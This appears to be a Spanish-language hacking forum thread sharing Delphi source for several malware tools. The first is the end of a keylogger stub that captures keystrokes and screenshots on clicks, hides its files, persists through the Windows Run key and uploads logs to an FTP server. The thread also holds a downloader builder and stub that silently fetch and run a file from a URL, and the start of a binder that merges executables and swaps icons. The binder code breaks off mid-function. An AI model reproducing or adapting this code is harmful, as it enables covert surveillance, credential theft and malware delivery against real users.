      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

      // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    procedure upload_ftpfile(host, username, password, filetoupload,
      conestenombre: Pchar);

    // Credits :
    // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
    // Thanks to Omair Iqbal

    var
      controluno: HINTERNET;
      controldos: HINTERNET;

    begin

      try

        begin
          controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
          controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
            username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
          ftpPutFile(controldos, filetoupload, conestenombre,
            FTP_TRANSFER_TYPE_BINARY, 0);
          InternetCloseHandle(controldos);
          InternetCloseHandle(controluno);
        end
      except
        //
      end;

    end;

    procedure capturar_pantalla(nombre: string);

    // Function capturar() based in :
    // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
    // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
    // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
    // Thanks to Zarko Gajic , Luthfi and Ken White

    var
      aca: HDC;
      tan: TRect;
      posnow: TPoint;
      imagen1: TBitmap;
      imagen2: TJpegImage;
      curnow: THandle;

    begin

      aca := GetWindowDC(GetDesktopWindow);
      imagen1 := TBitmap.Create;

      GetWindowRect(GetDesktopWindow, tan);
      imagen1.Width := tan.Right - tan.Left;
      imagen1.Height := tan.Bottom - tan.Top;
      BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
        0, SRCCOPY);

      GetCursorPos(posnow);

      curnow := GetCursor;
      DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
        DI_NORMAL);

      imagen2 := TJpegImage.Create;
      imagen2.Assign(imagen1);
      imagen2.CompressionQuality := 60;
      imagen2.SaveToFile(nombre);

      imagen1.Free;
      imagen2.Free;

    end;

    //

    procedure capturar_teclas;

    var
      I: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;
      banknow: string;

    const

      n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
        '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
        '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
        '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
        '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
        '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221',
        '222', '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
        ' / ', ' \ \ \ ', ']', '[', '~', '\/');

    begin

      while (1 = 1) do
      begin

        Sleep(time); // Time

        try

          begin

            // Others

            for I := Low(n_raros) to High(n_raros) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_raros[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_raros[I]);
                if (bankop = '1') then
                begin
                  if (t_raros[I] = '[mouse click]') then
                  begin
                    banknow := IntToStr(Random(10000)) + '.jpg';
                    capturar_pantalla(banknow);
                    SetFileAttributes(Pchar(dir + '/' + banknow),
                      FILE_ATTRIBUTE_HIDDEN);

                    savefile('logs.html', '<br><br><center><img src=' + banknow +
                      '></center><br><br>');

                  end;
                end;
              end;
            end;

            // SHIFT

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              for I := Low(n_shift) to High(n_shift) do
              begin
                Result := GetAsyncKeyState(StrToInt(n_shift[I]));
                If Result = -32767 then
                begin
                  savefile('logs.html', t_shift[I]);
                end;
              end;

              for I := 65 to 90 do
              begin
                Result := GetAsyncKeyState(I);
                If Result = -32767 then
                Begin
                  savefile('logs.html', Chr(I + 0));
                End;
              end;

            end;

            // Numbers

            for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_derecha[I]);
              end;
            end;

            for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
            begin
              Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
              If Result = -32767 then
              begin
                savefile('logs.html', t_numeros_izquierda[I]);
              end;
            end;

            // MAYUS

            if (GetKeyState(20) = 0) then
            begin
              mayus := 32;
            end
            else
            begin
              mayus := 0;
            end;

            for I := 65 to 90 do
            begin
              Result := GetAsyncKeyState(I);
              If Result = -32767 then
              Begin
                savefile('logs.html', Chr(I + mayus));
              End;
            end;
          end;
        except
          //
        end;

      end;
    end;

    procedure capturar_ventanas;
    var
      ventana1: array [0 .. 255] of Char;
      nombre1: string;
      Nombre2: string; //
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time); // Time

            GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));

            nombre1 := ventana1;

            if not(nombre1 = Nombre2) then
            begin
              Nombre2 := nombre1;
              savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
                + '</h2></center><br>');
            end;

          end;
        except
          //
        end;
      end;

    end;

    procedure capturar_pantallas;
    var
      generado: string;
    begin
      while (1 = 1) do
      begin

        Sleep(time_screen);

        generado := IntToStr(Random(10000)) + '.jpg';

        try

          begin
            capturar_pantalla(generado);
          end;
        except
          //
        end;

        SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);

        savefile('logs.html', '<br><br><center><img src=' + generado +
          '></center><br><br>');

      end;
    end;

    procedure subirftp;
    var
      busqueda: TSearchRec;
    begin
      while (1 = 1) do
      begin

        try

          begin
            Sleep(time_ftp);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));

            FindFirst(dir + '*.jpg', faAnyFile, busqueda);

            upload_ftpfile(ftp_host, ftp_user, ftp_password,
              Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            while FindNext(busqueda) = 0 do
            begin
              upload_ftpfile(ftp_host, ftp_user, ftp_password,
                Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
            end;
          end;
        except
          //
        end;
      end;
    end;

    procedure control;
    var
      I: integer;
      re: Longint;
    begin

      while (1 = 1) do
      begin

        try

          begin

            Sleep(time);

            if (GetAsyncKeyState(VK_SHIFT) <> 0) then
            begin

              re := GetAsyncKeyState(120);
              If re = -32767 then
              Begin

                ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
                  SW_SHOWNORMAL);

              End;
            end;
          end;
        except
          //
        end;
      End;
    end;

    //

    begin

      try

        // Config

        try

          begin

            // Edit

            ob := INVALID_HANDLE_VALUE;
            code := '';

            ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
              OPEN_EXISTING, 0, 0);
            if (ob <> INVALID_HANDLE_VALUE) then
            begin
              SetFilePointer(ob, -9999, nil, FILE_END);
              ReadFile(ob, code, 9999, nose, nil);
              CloseHandle(ob);
            end;

            todo := regex(code, '[63686175]', '[63686175]');
            todo := dhencode(todo, 'decode');

            dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
            directorio := regex(todo, '[save]', '[save]');
            carpeta := regex(todo, '[folder]', '[folder]');
            bankop := regex(todo, '[bank]', '[bank]');
            screen_online := regex(todo, '[capture_op]', '[capture_op]');
            time_screen := StrToInt(regex(todo, '[capture_seconds]',
              '[capture_seconds]'));
            ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
            time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
            ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
            ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
            ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
            ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

            dir_normal := dir_especial;

            time := 100; // Not Edit

            if (dir_normal = '1') then
            begin
              dir_hide := directorio;
            end
            else
            begin
              dir_hide := GetEnvironmentVariable(directorio) + '/';
            end;

            dir := dir_hide + carpeta + '/';

            if not(DirectoryExists(dir)) then
            begin
              CreateDir(dir);
            end;

            ChDir(dir);

            nombrereal := ExtractFileName(paramstr(0));
            rutareal := dir;
            yalisto := dir + nombrereal;

            MoveFile(Pchar(paramstr(0)), Pchar(yalisto));

            SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);

            SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);

            savefile(dir + '/logs.html', '');

            SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);

            savefile('logs.html',
              '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

            RegCreateKeyEx(HKEY_LOCAL_MACHINE,
              'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
              REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
            RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
            RegCloseKey(registro);
          end;
        except
          //
        end;

        // End

        // Start the party

        BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
        BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);

        if (screen_online = '1') then
        begin
          BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
        end;
        if (ftp_online = '1') then
        begin
          BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
        end;

        BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);

        // Readln;

        while (1 = 1) do
          Sleep(time);

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#106
Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.

Una imagen :



Un video con un ejemplo de uso :

[youtube=640,360]http://www.youtube.com/watch?v=rnszMYfpHUU[/youtube]

Los codigos :

El USB Mode :

Código (delphi) [Seleccionar]

// DH Downloader 0.8
// (C) Doddy Hackman 2014

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls,
  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox2: TGroupBox;
    Button1: TButton;
    StatusBar1: TStatusBar;
    GroupBox3: TGroupBox;
    Edit1: TEdit;
    GroupBox4: TGroupBox;
    CheckBox1: TCheckBox;
    Edit2: TEdit;
    CheckBox2: TCheckBox;
    Edit3: TEdit;
    TabSheet6: TTabSheet;
    GroupBox5: TGroupBox;
    RadioButton1: TRadioButton;
    RadioButton2: TRadioButton;
    CheckBox3: TCheckBox;
    CheckBox4: TCheckBox;
    CheckBox5: TCheckBox;
    GroupBox6: TGroupBox;
    PageControl3: TPageControl;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    TabSheet9: TTabSheet;
    GroupBox7: TGroupBox;
    Edit4: TEdit;
    GroupBox8: TGroupBox;
    Edit5: TEdit;
    GroupBox9: TGroupBox;
    RadioButton3: TRadioButton;
    RadioButton4: TRadioButton;
    TabSheet10: TTabSheet;
    GroupBox10: TGroupBox;
    GroupBox11: TGroupBox;
    Button2: TButton;
    Edit6: TEdit;
    GroupBox12: TGroupBox;
    GroupBox13: TGroupBox;
    ComboBox1: TComboBox;
    GroupBox14: TGroupBox;
    CheckBox6: TCheckBox;
    GroupBox15: TGroupBox;
    Image2: TImage;
    Memo1: TMemo;
    Image3: TImage;
    GroupBox16: TGroupBox;
    Button3: TButton;
    ProgressBar1: TProgressBar;
    IdHTTP1: TIdHTTP;
    OpenDialog1: TOpenDialog;
    GroupBox17: TGroupBox;
    Image1: TImage;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Edit5DblClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function getfilename(archivo: string): string;
var
  test: TStrings;
begin

  test := TStringList.Create;
  test.Delimiter := '/';
  test.DelimitedText := archivo;
  Result := test[test.Count - 1];

  test.Free;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
var
  filename: string;
  nombrefinal: string;
  addnow: TRegistry;
  archivobajado: TFileStream;

begin

  if not CheckBox1.Checked then
  begin
    filename := Edit1.Text;
    nombrefinal := getfilename(filename);
  end
  else
  begin
    nombrefinal := Edit2.Text;
  end;

  archivobajado := TFileStream.Create(nombrefinal, fmCreate);

  try
    begin
      DeleteFile(nombrefinal);
      IdHTTP1.Get(Edit1.Text, archivobajado);
      StatusBar1.Panels[0].Text := '[+] File Dowloaded';
      StatusBar1.Update;
      archivobajado.Free;
    end;
  except
    StatusBar1.Panels[0].Text := '[-] Failed download';
    StatusBar1.Update;
    archivobajado.Free;
    Abort;
  end;

  if FileExists(nombrefinal) then
  begin

    if CheckBox2.Checked then
    begin
      if not DirectoryExists(Edit3.Text) then
      begin
        CreateDir(Edit3.Text);
      end;
      MoveFile(Pchar(nombrefinal), Pchar(Edit3.Text + '/' + nombrefinal));
      StatusBar1.Panels[0].Text := '[+] File Moved';
      StatusBar1.Update;
    end;

    if CheckBox3.Checked then
    begin
      SetFileAttributes(Pchar(Edit3.Text), FILE_ATTRIBUTE_HIDDEN);
      if CheckBox2.Checked then
      begin
        SetFileAttributes(Pchar(Edit3.Text + '/' + nombrefinal),
          FILE_ATTRIBUTE_HIDDEN);

        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end
      else
      begin
        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
        StatusBar1.Panels[0].Text := '[+] File Hidden';
        StatusBar1.Update;
      end;
    end;

    if CheckBox4.Checked then
    begin

      addnow := TRegistry.Create;
      addnow.RootKey := HKEY_LOCAL_MACHINE;
      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);

      if CheckBox2.Checked then
      begin
        addnow.WriteString('uber', Edit3.Text + '/' + nombrefinal);
      end
      else
      begin
        addnow.WriteString('uber', ExtractFilePath(Application.ExeName) + '/' +
          nombrefinal);
      end;

      StatusBar1.Panels[0].Text := '[+] Registry Updated';
      StatusBar1.Update;

      addnow.Free;

    end;

    if CheckBox5.Checked then
    begin

      if RadioButton1.Checked then
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_SHOWNORMAL);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
            SW_SHOWNORMAL);
        end;
      end
      else
      begin
        if CheckBox2.Checked then
        begin
          ShellExecute(Handle, 'open', Pchar(Edit3.Text + '/' + nombrefinal),
            nil, nil, SW_HIDE);
        end
        else
        begin
          ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
        end;
      end;

    end;

    if CheckBox1.Checked or CheckBox2.Checked or CheckBox3.Checked or
      CheckBox4.Checked or CheckBox5.Checked then
    begin
      StatusBar1.Panels[0].Text := '[+] Finished';
      StatusBar1.Update;
    end;

  end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    Image1.Picture.LoadFromFile(OpenDialog1.filename);
    Edit6.Text := OpenDialog1.filename;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  linea: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  marca_uno: string;
  marca_dos: string;
  url: string;
  opcionocultar: string;
  savein: string;
  lineafinal: string;
  stubgenerado: string;
  tipodecarga: string;
  change: DWORD;
  valor: string;

begin

  url := Edit4.Text;
  stubgenerado := 'tiny_down.exe';

  if (RadioButton4.Checked = True) then
  begin
    tipodecarga := '1';
  end
  else
  begin
    tipodecarga := '0';
  end;

  if (CheckBox6.Checked = True) then
  begin
    opcionocultar := '1';
  end
  else
  begin
    opcionocultar := '0';
  end;

  if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  begin
    savein := 'USERPROFILE';
  end
  else
  begin
    savein := ComboBox1.Items[ComboBox1.ItemIndex];
  end;

  lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    '[opcion]' + '[path]' + savein + '[path]' + '[name]' + Edit5.Text + '[name]'
    + '[carga]' + tipodecarga + '[carga]';

  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  DeleteFile(stubgenerado);
  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/stub_down.exe'), Pchar(ExtractFilePath(Application.ExeName) + '/' +
    stubgenerado), True);

  linea := marca_uno;
  StrCopy(code, Pchar(linea));
  aca := CreateFile(Pchar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  //

  if not(Edit6.Text = '') then
  begin
    try
      begin

        valor := IntToStr(128);

        change := BeginUpdateResourceW
          (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
          stubgenerado)), FALSE);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(Edit6.Text)));
        EndUpdateResourceW(change, FALSE);
        StatusBar1.Panels[0].Text := '[+] Done ';
        StatusBar1.Update;
      end;
    except
      begin
        StatusBar1.Panels[0].Text := '[-] Error';
        StatusBar1.Update;
      end;
    end;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[+] Done ';
    StatusBar1.Update;
  end;

  //

end;

procedure TForm1.Edit5DblClick(Sender: TObject);
begin

  if not(Edit4.Text = '') then
  begin
    Edit5.Text := getfilename(Edit4.Text);
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ProgressBar1.Position := 0;

  OpenDialog1.InitialDir := GetCurrentDir;
  OpenDialog1.Filter := 'ICO|*.ico|';

end;

end.

// The End ?


El stub :

Código (delphi) [Seleccionar]

// DH Downloader 0.8
// (C) Doddy Hackman 2014

// Stub

program stub_down;

// {$APPTYPE CONSOLE}

uses
  SysUtils, Windows, URLMon, ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  link: string;
  todo: string;
  opcion: string;
  path: string;
  nombre: string;
  rutafinal: string;
  tipodecarga: string;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    link := regex(todo, '[link]', '[link]');
    opcion := regex(todo, '[opcion]', '[opcion]');
    path := regex(todo, '[path]', '[path]');
    nombre := regex(todo, '[name]', '[name]');
    tipodecarga := regex(todo, '[carga]', '[carga]');

    rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

    try

      begin
        UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

        if (FileExists(rutafinal)) then
        begin

          if (opcion = '1') then
          begin
            SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
          end;

          if (tipodecarga = '1') then
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
          end
          else
          begin
            ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
          end;
        end;

      end;
    except
      //
    end;

  except
    //
  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#107
Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :

[youtube=640,360]https://www.youtube.com/watch?v=huGWWbqJDfE[/youtube]

Los codigos :

El generador.

Código (delphi) [Seleccionar]

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dh;

interface

uses
 Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
 System.Classes, Vcl.Graphics,
 Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
 Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;

type
 TForm1 = class(TForm)
   Image1: TImage;
   StatusBar1: TStatusBar;
   PageControl1: TPageControl;
   TabSheet1: TTabSheet;
   TabSheet2: TTabSheet;
   TabSheet3: TTabSheet;
   TabSheet4: TTabSheet;
   GroupBox1: TGroupBox;
   Button1: TButton;
   GroupBox2: TGroupBox;
   ListView1: TListView;
   GroupBox3: TGroupBox;
   GroupBox4: TGroupBox;
   ComboBox1: TComboBox;
   GroupBox5: TGroupBox;
   CheckBox1: TCheckBox;
   GroupBox6: TGroupBox;
   GroupBox7: TGroupBox;
   Image2: TImage;
   GroupBox8: TGroupBox;
   Button2: TButton;
   GroupBox9: TGroupBox;
   Image3: TImage;
   Memo1: TMemo;
   PopupMenu1: TPopupMenu;
   AddFile1: TMenuItem;
   CleanList1: TMenuItem;
   OpenDialog1: TOpenDialog;
   OpenDialog2: TOpenDialog;
   Edit1: TEdit;
   procedure CleanList1Click(Sender: TObject);
   procedure AddFile1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

procedure TForm1.AddFile1Click(Sender: TObject);
var
 op: String;
begin

 if OpenDialog1.Execute then
 begin

   op := InputBox('Add File', 'Execute Hide ?', 'Yes');

   with ListView1.Items.Add do
   begin
     Caption := ExtractFileName(OpenDialog1.FileName);
     if (op = 'Yes') then
     begin
       SubItems.Add(OpenDialog1.FileName);
       SubItems.Add('Hide');
     end
     else
     begin
       SubItems.Add(OpenDialog1.FileName);
       SubItems.Add('Normal');
     end;
   end;

 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 i: integer;
 nombre: string;
 ruta: string;
 tipo: string;
 savein: string;
 opcionocultar: string;
 lineafinal: string;
 uno: DWORD;
 tam: DWORD;
 dos: DWORD;
 tres: DWORD;
 todo: Pointer;
 change: DWORD;
 valor: string;
 stubgenerado: string;

begin

 if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
 begin
   ShowMessage('You have to choose two or more files');
 end
 else
 begin
   stubgenerado := 'done.exe';

   if (CheckBox1.Checked = True) then
   begin
     opcionocultar := '1';
   end
   else
   begin
     opcionocultar := '0';
   end;

   if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
   begin
     savein := 'USERPROFILE';
   end
   else
   begin
     savein := ComboBox1.Items[ComboBox1.ItemIndex];
   end;

   DeleteFile(stubgenerado);
   CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
     'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
     stubgenerado), True);

   uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
     + stubgenerado), True);

   for i := 0 to ListView1.Items.Count - 1 do
   begin

     nombre := ListView1.Items[i].Caption;
     ruta := ListView1.Items[i].SubItems[0];
     tipo := ListView1.Items[i].SubItems[1];

     lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
       '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
     lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
       '[63686175]';

     dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
     tam := GetFileSize(dos, nil);
     GetMem(todo, tam);
     ReadFile(dos, todo^, tam, tres, nil);
     CloseHandle(dos);
     UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
       MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

   end;

   EndUpdateResource(uno, False);

   if not(Edit1.Text = '') then
   begin
     try
       begin
         change := BeginUpdateResourceW
           (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
           stubgenerado)), False);
         LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
           PWideChar(wideString(Edit1.Text)));
         EndUpdateResourceW(change, False);
         StatusBar1.Panels[0].Text := '[+] Done ';
         Form1.StatusBar1.Update;
       end;
     except
       begin
